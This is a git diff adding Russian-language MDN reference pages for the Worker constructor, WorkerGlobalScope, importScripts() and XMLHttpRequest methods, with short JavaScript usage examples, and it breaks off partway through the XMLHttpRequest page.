diff --git a/files/ru/web/api/worker/worker/index.html b/files/ru/web/api/worker/worker/index.html
new file mode 100644
index 0000000000..625841b703
--- /dev/null
+++ b/files/ru/web/api/worker/worker/index.html
@@ -0,0 +1,89 @@
+---
+title: Worker()
+slug: Web/API/Worker/Worker
+tags:
+  - API
+  - Constructor
+  - Reference
+  - Web Workers
+  - Worker
+  - Конструктор
+  - Ссылка
+translation_of: Web/API/Worker/Worker
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Конструктор <code><strong>Worker()</strong></code> создает объект {{domxref ("Worker")}}, который выполняет скрипт по указанному URL-адресу. Этот скрипт должен подчиняться политике одного источника (<a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">same-origin policy</a>).</p>
+
+<p>Если URL имеет недопустимый синтаксис или нарушена политика одного источника, то будет вызвано {{domxref("DOMException")}} типа <code>SECURITY_ERR</code>.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: that there is a disagreement among browser manufacturers about whether a data URI is of the same origin or not. Though Gecko 10.0 {{ geckoRelease("10.0") }} and later accept data URIs, that's not the case in all other browsers.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var myWorker = new Worker(<em>aURL</em>, <em>options</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>aURL</em></dt>
+ <dd>{{domxref("USVString")}}, представляющая URL-адрес скрипта который будет выполняться <code>worker</code>. Он должен подчиняться политике одного источника.</dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>An object containing option properties that can be set when creating the object instance. Available properties are as follows:
+ <ul>
+  <li><code>type</code>: A {{domxref("DOMString")}} specifying the type of worker to create. The value can be <code>classic</code> or <code>module</code>. If not specified, the default used is <code>classic</code>.</li>
+  <li><code>credentials</code>: A {{domxref("DOMString")}} specifying the type of credentials to use for the worker. The value can be<dfn> <code>omit</code></dfn>, <code><dfn>same-origin</dfn></code>, or <dfn><code>include</code>. If not specified, or if type is <code>classic</code>, the default used is <code>omit</code> (no credentials required).</dfn></li>
+  <li><dfn><code>name</code>: A </dfn>{{domxref("DOMString")}} specifying an identifying name for the {{domxref("DedicatedWorkerGlobalScope")}} representing the scope of the worker, which is mainly useful for debugging purposes.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>A <code>SecurityError</code> is raised if the document is not allowed to start workers.</li>
+ <li>A <code>NetworkError</code> is raised if the MIME type of one of the script is <code>text/csv</code>, <code>image/*</code>, <code>video/*</code>, or <code>audio/*</code>. It should always be <code>text/javacript.</code></li>
+ <li>A <code>SyntaxError</code> is raised if <em>aUR</em><em>L</em> cannot be parsed.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий фрагмент кода показывает создание объекта {{domxref ("Worker")}} с помощью конструктора <code>Worker()</code> и его последующее использование:</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>Больше примеров можно найти здесь: <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker", "Worker()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Worker.Worker")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p>Интерфейс {{domxref("Worker")}}</p>
diff --git a/files/ru/web/api/workerglobalscope/importscripts/index.html b/files/ru/web/api/workerglobalscope/importscripts/index.html
new file mode 100644
index 0000000000..75989503bd
--- /dev/null
+++ b/files/ru/web/api/workerglobalscope/importscripts/index.html
@@ -0,0 +1,73 @@
+---
+title: WorkerGlobalScope.importScripts()
+slug: Web/API/WorkerGlobalScope/importScripts
+translation_of: Web/API/WorkerGlobalScope/importScripts
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Метод <code><strong>importScripts()</strong></code> интерфейса {{domxref("WorkerGlobalScope")}} синхронно импортирует один или несколько скриптов, добавляя их в область видимости сервис-воркера.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js notranslate">self.importScripts('foo.js');
+self.importScripts('foo.js', 'bar.js', ...);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Разделенный запятыми объект </span></span>{{domxref("DOMString")}} скриптов, которые должны быть импортированы. Пути к скриптам указываются относительно URL HTML документа.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><em>Нет.</em></p>
+
+<h3 id="Выбрасываемые_исключения">Выбрасываемые исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Исключение</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>NetworkError</code></td>
+   <td>Добавленные скрипты имеют неверные MIME тип (то есть не <code>text/javascript</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Если вы хотите использовать некоторую функциональность, опделённую файлом <code>foo.js</code>, необходимо сделать следующее:</p>
+
+<pre class="brush: js notranslate">importScripts('foo.js');</pre>
+
+<p><code>importScripts()</code> и <code>self.importScripts()</code> по сути эквивалентны — и то и другое вызывает функцию <code>importScripts()</code> в области видимости воркера.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-workerglobalscope-importscripts', 'importScripts()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope.importScripts")}}</p>
+
+<h2 id="Смотрите_Также">Смотрите Также</h2>
+
+<p>{{domxref("WorkerGlobalScope")}}</p>
diff --git a/files/ru/web/api/workerglobalscope/index.html b/files/ru/web/api/workerglobalscope/index.html
new file mode 100644
index 0000000000..8b0f33c7e3
--- /dev/null
+++ b/files/ru/web/api/workerglobalscope/index.html
@@ -0,0 +1,173 @@
+---
+title: WorkerGlobalScope
+slug: Web/API/WorkerGlobalScope
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - WorkerGlobalScope
+  - Workers
+translation_of: Web/API/WorkerGlobalScope
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>The <code><strong>WorkerGlobalScope</strong></code> interface of the <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a> is an interface representing the scope of any worker. Workers have no browsing context; this scope contains the information usually conveyed by {{domxref("Window")}} objects — in this case event handlers, the console or the associated {{domxref("WorkerNavigator")}} object. Each <code>WorkerGlobalScope</code> has its own event loop.</p>
+
+<p>This interface is usually specialized by each worker type: {{domxref("DedicatedWorkerGlobalScope")}} for dedicated workers, {{domxref("SharedWorkerGlobalScope")}} for shared workers, and {{domxref("ServiceWorkerGlobalScope")}} for <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker</a>. The <code>self</code> property returns the specialized scope for each context.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface inherits properties from the {{domxref("EventTarget")}} interface and {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.</em></p>
+
+<h3 id="Standard_properties">Standard properties</h3>
+
+<p>{{domxref("WorkerGlobalScope.navigator")}} {{readOnlyinline}}</p>
+
+<dl>
+ <dd>Returns the {{domxref("WorkerNavigator")}} associated with the worker. It is a specific navigator object, mostly a subset of the {{domxref("Navigator")}} for browsing scopes, but adapted to workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope.self")}} {{readOnlyinline}}</dt>
+ <dd>Returns a reference to the <code>WorkerGlobalScope</code> itself. Most of the time it is a specific scope like {{domxref("DedicatedWorkerGlobalScope")}},  {{domxref("SharedWorkerGlobalScope")}} or {{domxref("ServiceWorkerGlobalScope")}}.</dd>
+ <dt>{{domxref("WorkerGlobalScope.location")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("WorkerLocation")}} associated with the worker. It is a specific location object, mostly a subset of the {{domxref("Location")}} for browsing scopes, but adapted to workers.</dd>
+</dl>
+
+<h3 id="Non-standard_properties">Non-standard properties</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.performance")}} {{readOnlyinline}} {{Non-standard_inline}}</dt>
+ <dd>Returns the {{domxref("Performance")}} associated with the worker. It is a regular performance object, except that only a subset of its property and methods are available to workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope.console")}} {{readOnlyinline}} {{Non-standard_inline}}</dt>
+ <dd>Returns the {{domxref("Console")}} associated with the worker.</dd>
+</dl>
+
+<h3 id="Properties_implemented_from_elsewhere">Properties implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt><code>error</code></dt>
+ <dd>Fired when an error occured.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onerror")}} property.</dd>
+ <dt><code>offline</code></dt>
+ <dd>Fired when the browser has lost access to the network and the value of <code>navigator.onLine</code> switched to <code>false</code>.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onoffline")}} property.</dd>
+ <dt><code>online</code></dt>
+ <dd>Fired when the browser has gained access to the network and the value of <code>navigator.onLine</code> switched to <code>true</code>.<br>
+ Also available via the {{domxref("WorkerGlobalScope.ononline")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/WorkerGlobalScope/languagechange_event">languagechange</a></code></dt>
+ <dd>Fired at the global/worker scope object when the user's preferred languages change.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onlanguagechange")}} property.</dd>
+</dl>
+
+<dl>
+ <dt><code>close</code> {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onclose")}} property.</dd>
+ <dt><code>rejectionhandled</code> {{non-standard_inline}}</dt>
+ <dd>An event handler for handled <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise represents an operation that hasn't completed yet, but is expected in the future."><code>Promise</code></a> rejection events.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onrejectionhandled")}} property.</dd>
+ <dt><code>unhandledrejection</code> {{non-standard_inline}}</dt>
+ <dd>An event handler for unhandled <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise represents an operation that hasn't completed yet, but is expected in the future."><code>Promise</code></a> rejection events.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onunhandledrejection")}} property.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits methods from the {{domxref("EventTarget")}} interface and {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.</em></p>
+
+<h3 id="Standard_methods">Standard methods</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.importScripts()")}}</dt>
+ <dd>Imports one or more scripts into the worker's scope. You can specify as many as you'd like, separated by commas. For example:<code> importScripts('foo.js', 'bar.js');</code></dd>
+</dl>
+
+<h3 id="Non-standard_methods">Non-standard methods</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.dump()")}} {{non-standard_inline}}</dt>
+ <dd>Allows you to write a message to stdout — i.e. in your terminal. This is the same as Firefox's {{domxref("window.dump")}}, but for workers.</dd>
+</dl>
+
+<h3 id="Methods_implemented_from_elsewhere">Methods implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(sx, sy)</em> with width sw, and height sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Starts the process of fetching a resource from the network.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Schedules a function to execute in a given amount of time.</dd>
+</dl>
+
+<h3 id="Deprecated_methods">Deprecated methods</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.close()")}}</dt>
+ <dd>Discards any tasks queued in the <code>WorkerGlobalScope</code>'s event loop, effectively closing this particular scope. In newer browser versions, <code>close()</code> is available on <code>DedicatedWorkerGlobalScope</code> and {{domxref("SharedWorkerGlobalScope.close", "SharedWorkerGlobalScope")}} instead. This change was made to stop <code>close()</code> being available on service workers, as it isn't supposed to be used there and always throws an exception when called (see {{bug(1336043)}}).</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>You won't access <code>WorkerGlobalScope</code> directly in your code; however, its properties and methods are inherited by more specific global scopes such as {{domxref("DedicatedWorkerGlobalScope")}} and {{domxref("SharedWorkerGlobalScope")}}. For example, you could import another script into the worker and print out the contents of the worker scope's <code>navigator</code> object using the following two lines:</p>
+
+<pre class="brush: js">importScripts('foo.js');
+console.log(navigator);</pre>
+
+<div class="note">
+<p>Since the global scope of the worker script is effectively the global scope of the worker you are running ({{domxref("DedicatedWorkerGlobalScope")}} or whatever) and all worker global scopes inherit methods, properties, etc. from <code>WorkerGlobalScope</code>, you can run lines such as those above without specifying a parent object.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#workerglobalscope', 'WorkerGlobalScope')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other global object interface: {{domxref("Window")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, , {{domxref("ServiceWorkerGlobalScope")}}</li>
+ <li>Other Worker-related interfaces: {{domxref("Worker")}}, {{domxref("WorkerLocation")}}, {{domxref("WorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}.</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers.</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/abort/index.html b/files/ru/web/api/xmlhttprequest/abort/index.html
new file mode 100644
index 0000000000..d98ce045bf
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/abort/index.html
@@ -0,0 +1,70 @@
+---
+title: XMLHttpRequest.abort()
+slug: Web/API/XMLHttpRequest/abort
+tags:
+  - AJAX
+  - API
+  - HTTP
+  - HttpRequest
+  - XHR
+  - XMLHttpRequest
+  - Отмена
+  - метод
+translation_of: Web/API/XMLHttpRequest/abort
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Метод <strong>XMLHttpRequest.abort()</strong> прерывает уже отправленный запрос. Когда запрос прерывается, то его свойство {{domxref("XMLHttpRequest.readyState", "readyState")}} устанавливается в <code>UNSENT</code> (0), а {{domxref("XMLHttpRequest.status", "status")}} в 0.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">XMLHttpRequest.abort()</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>undefined</code></p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+xhr.open(method, url, true);
+
+xhr.send();
+
+xhr.abort();
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-abort()-method')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequest.abort")}}</p>
+
+<h2 id="Cм._также">Cм. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/getresponseheader/index.html b/files/ru/web/api/xmlhttprequest/getresponseheader/index.html
new file mode 100644
index 0000000000..ebe4a094b6
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/getresponseheader/index.html
@@ -0,0 +1,118 @@
+---
+title: XMLHttpRequest.getResponseHeader()
+slug: Web/API/XMLHttpRequest/getResponseHeader
+tags:
+  - API
+  - XHR
+  - XMLHttpRequest
+  - getResponseHeader
+  - метод
+translation_of: Web/API/XMLHttpRequest/getResponseHeader
+---
+<p>{{draft}}{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Метод <strong>XMLHttpRequest.getResponseHeader()</strong> возвращает строку, содержащую текст определённого хэдера (header). Если в наличии несколько хэдеров с одинаковыми именами, то они возвращаются в виде одной строки, где значения отделены друг от друга парой "запятая + пробел". Метод <code>getResponseHeader()</code> возвращает значение в кодировке UTF.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var myHeader = getResponseHeader(name);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>name</dt>
+ <dd>Строка {{domxref("ByteString")}}, представляющая имя хэдера, значение которого необходимо возвратить в виде текста.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Строка {{domxref("ByteString")}}, представляющее текстовое значение хэдера или null, если ответ ещё не был получен или хэдер с именем name отсутствует в ответе.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var client = new XMLHttpRequest();
+client.open("GET", "unicorns-are-teh-awesome.txt", true);
+client.send();
+client.onreadystatechange = function() {
+  if(this.readyState == this.HEADERS_RECEIVED) {
+    console.log(client.getResponseHeader("Content-Type"));
+  }
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#dom-xmlhttprequest-getresponseheader', 'getResponseHeader()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatIe('5')}}<sup>[1]</sup><br>
+    {{CompatIe('7')}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('1.2')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Это свойство обеспечивалось посредством ActiveXObject(). Internet Explorer поддерживает стандарт XMLHttpRequest начиная с версии 7.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/index.html
new file mode 100644
index 0000000000..ee51092cf6
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/index.html
@@ -0,0 +1,613 @@
+---
+title: XMLHttpRequest
+slug: Web/API/XMLHttpRequest
+tags:
+  - AJAX
+  - API
+  - HTTP
+  - JavaScript
+  - MakeBrowserAgnostic
+  - NeedsMobileBrowserCompatibility
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code>XMLHttpRequest</code> это API, который предоставляет клиенту функциональность для обмена данными между клиентом и сервером. Данный API предоставляет простой способ получения данных по ссылке без перезагрузки страницы. Это позволяет обновлять только часть веб-страницы не прерывая пользователя.  <code>XMLHttpRequest используется в AJAX запросах и особенно в single-page приложениях.</code></p>
+
+<p>XMLHttpRequest изначально был разработан Microsoft и позже заимствован Mozilla, Apple, и Google. Сейчас он <a href="https://xhr.spec.whatwg.org/">стандартизирован WHATWG</a>. Несмотря на свое название, <code>XMLHttpRequest</code> может быть использован для получения любых типов данных, не только XML, и поддерживает протоколы помимо <a href="https://developer.mozilla.org/ru/docs/Web/HTTP">HTTP</a> (включая <code>file</code> и <a href="https://developer.mozilla.org/ru/docs/Словарь/FTP">ftp</a>).</p>
+
+<p>Чтобы начать работать с <code>XMLHttpRequest</code>, выполните этот код:</p>
+
+<pre>var myRequest = new XMLHttpRequest();
+</pre>
+
+<p>более детальное описание создание объекта, можно увидеть в разделе <a class="internal" href="/ru/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Using XMLHttpRequest</a>.</p>
+
+<h2 id="Список_методов_объекта">Список методов объекта</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code><a class="internal" href="/en/DOM/XMLHttpRequest#XMLHttpRequest()" title="/en/DOM/XMLHttpRequest#XMLHttpRequest()">XMLHttpRequest</a>(JSObject objParameters);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#abort()" title="en/DOM/XMLHttpRequest#abort()">abort</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>DOMString <a class="internal" href="/en/DOM/XMLHttpRequest#getAllResponseHeaders()" title="en/DOM/XMLHttpRequest#getAllResponseHeaders()">getAllResponseHeaders</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>DOMString? <a class="internal" href="/en/DOM/XMLHttpRequest#getResponseHeader()" title="en/DOM/XMLHttpRequest#getResponseHeader()">getResponseHeader</a>(DOMString header);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#open()" title="en/DOM/XMLHttpRequest#open()">open</a>(DOMString method, DOMString url, optional boolean async, optional DOMString? user, optional DOMString? password);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#overrideMimeType()" title="en/DOM/XMLHttpRequest#overrideMimeType()">overrideMimeType</a>(DOMString mime);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>();</code><br>
+    <s><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(ArrayBuffer data);</code></s><br>
+    <code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(ArrayBufferView data);</code><br>
+    <code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(Blob data);</code><br>
+    <code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(Document data);</code><br>
+    <code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(DOMString? data);</code><br>
+    <code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(FormData data);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#setRequestHeader()" title="en/DOM/XMLHttpRequest#setRequestHeader()">setRequestHeader</a>(DOMString header, DOMString value);</code></td>
+  </tr>
+  <tr>
+   <th>Нестандартные методы</th>
+  </tr>
+  <tr>
+   <td><code>[noscript] void <a class="internal" href="/en/DOM/XMLHttpRequest#init()" title="en/DOM/XMLHttpRequest#init()">init</a>(in nsIPrincipal principal, in nsIScriptContext scriptContext, in nsPIDOMWindow ownerWindow);</code></td>
+  </tr>
+  <tr>
+   <td><code>[noscript] void <a class="internal" href="/en/DOM/XMLHttpRequest#openRequest()" title="en/DOM/XMLHttpRequest#openRequest()">openRequest</a>(in AUTF8String method, in AUTF8String url, in boolean async, in AString user, in AString password); </code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#sendAsBinary()" title="en/DOM/XMLHttpRequest#sendAsBinary()">sendAsBinary</a>(in DOMString body);</code> {{ deprecated_inline(31) }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поля_объекта">Поля объекта</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Attribute</th>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+  <tr id="onreadystatechange">
+   <td>
+    <p><code>onreadystatechange</code></p>
+   </td>
+   <td><code>Function?</code></td>
+   <td>
+    <p>Callback - функция, которая вызывается всякий раз, когда поле <code>readyState меняет свое значение</code>. Callback выполняется в потоке работы приложения.</p>
+
+    <div class="warning"><strong>Внимание:</strong> Он не должен использоваться в синхронных запросах, и не должен выполняться из нативного кода (? must not be used from native code).</div>
+   </td>
+  </tr>
+  <tr id="readyState">
+   <td><code>readyState</code></td>
+   <td><code>unsigned short</code></td>
+   <td>
+    <p>Состояние запроса:</p>
+
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <td class="header">Значение</td>
+       <td class="header">Состояние</td>
+       <td class="header">Описание</td>
+      </tr>
+      <tr>
+       <td><code>0</code></td>
+       <td><code>UNSENT</code></td>
+       <td>Клиент создан. Метод <code>open()</code> еще не вызван.</td>
+      </tr>
+      <tr>
